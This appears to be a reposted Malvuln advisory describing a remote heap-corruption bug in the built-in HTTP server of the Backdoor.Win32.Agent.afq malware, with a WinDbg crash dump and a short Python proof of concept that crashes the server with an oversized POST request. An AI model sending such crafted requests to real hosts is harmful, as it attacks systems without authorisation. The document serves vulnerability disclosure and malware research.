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BACKDOOR.WIN32.AGENT.AFQ / Remote Heap Corruption

CVE Category Price Severity
N/A CWE-399: Resource Management Errors N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2021-04-28
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021040150

Below is a copy:

BACKDOOR.WIN32.AGENT.AFQ / Remote Heap Corruption
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_C.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.afq
Vulnerability: Remote Heap Corruption
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. Third-party attackers who can reach the infected host can send a 2000 byte HTTP Post request, triggering a heap corruption overwriting ECX, EDX and AX (16-bit) part of the EAX register.
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0190
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/27/2021

Memory Dump:
EAX : 00004141
EBX : 02B71208
ECX : 41414141
EDX : 41414141
EBP : 02A0FD30
ESP : 02A0FB70
ESI : 02B71210
EDI : 02B70000
EIP : 77AC2D6A     ntdll.77AC2D6A


(1b1c.1048): Access violation - code c0000005 (first/second chance not available)
eax=0000f23c ebx=02781208 ecx=41414141 edx=41414141 esi=02781210 edi=02780000
eip=77ac2d6a esp=02cef1f0 ebp=02cef3b0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!RtlpAllocateHeap+0x37a:
77ac2d6a 8b09            mov     ecx,dword ptr [ecx]  ds:002b:41414141=????????

0:002> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe

FAULTING_IP: 
ntdll!RtlpAllocateHeap+37a
77ac2d6a 8b09            mov     ecx,dword ptr [ecx]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77ac2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414141

READ_ADDRESS:  41414141 

FOLLOWUP_IP: 
msvcrt!signal+95
75746f35 59              pop     ecx

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001048

BUGCHECK_STR:  APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 77ac16b7 to 77ac2d6a

STACK_TEXT:  
02cef3b0 77ac16b7 00000078 00000080 027802d4 ntdll!RtlpAllocateHeap+0x37a
02cef400 77ac13ee 00000000 00000000 00000078 ntdll!RtlpAllocateHeapInternal+0x2b7
02cef41c 75737250 02780000 00000000 00000078 ntdll!RtlAllocateHeap+0x3e
02cef43c 757376bb 00000078 0000000b 02780dc8 msvcrt!malloc+0x90
02cef454 75746f35 00000078 96d98a3c 00401000 msvcrt!_malloc_crt+0x18
02cef494 00401099 0000000b 00000000 00000000 msvcrt!signal+0x95
WARNING: Stack unwind information not available. Following frames may be wrong.
02cef4b4 771ad820 02cef580 1d76a8f9 00000000 Backdoor_Win32_Agent_afq_853754de6b8ffbe1321a8c91aab5c232+0x1099
02cef550 77b237e1 02cef580 77af2d82 02ceffcc KERNELBASE!UnhandledExceptionFilter+0x1a0
02ceffdc 77ae4a47 ffffffff 77b09ea9 00000000 ntdll!__RtlUserThreadStart+0x3ed99
02ceffec 00000000 00402950 000000f4 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  !heap ; ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX:  5

SYMBOL_NAME:  msvcrt!signal+95

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: msvcrt

IMAGE_NAME:  msvcrt.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  692918b7

FAILURE_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141_c0000005_msvcrt.dll!signal

BUCKET_ID:  APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_msvcrt!signal+95



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8080

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="POST /"+"A"*2000+" HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10000\r\n\r\n"

    s.send(PAYLOAD)
    s.close()
    
    print("Backdoor.Win32.Agent.afq /  Remote Heap Corruption")
    print("MD5: 853754de6b8ffbe1321a8c91aab5c232")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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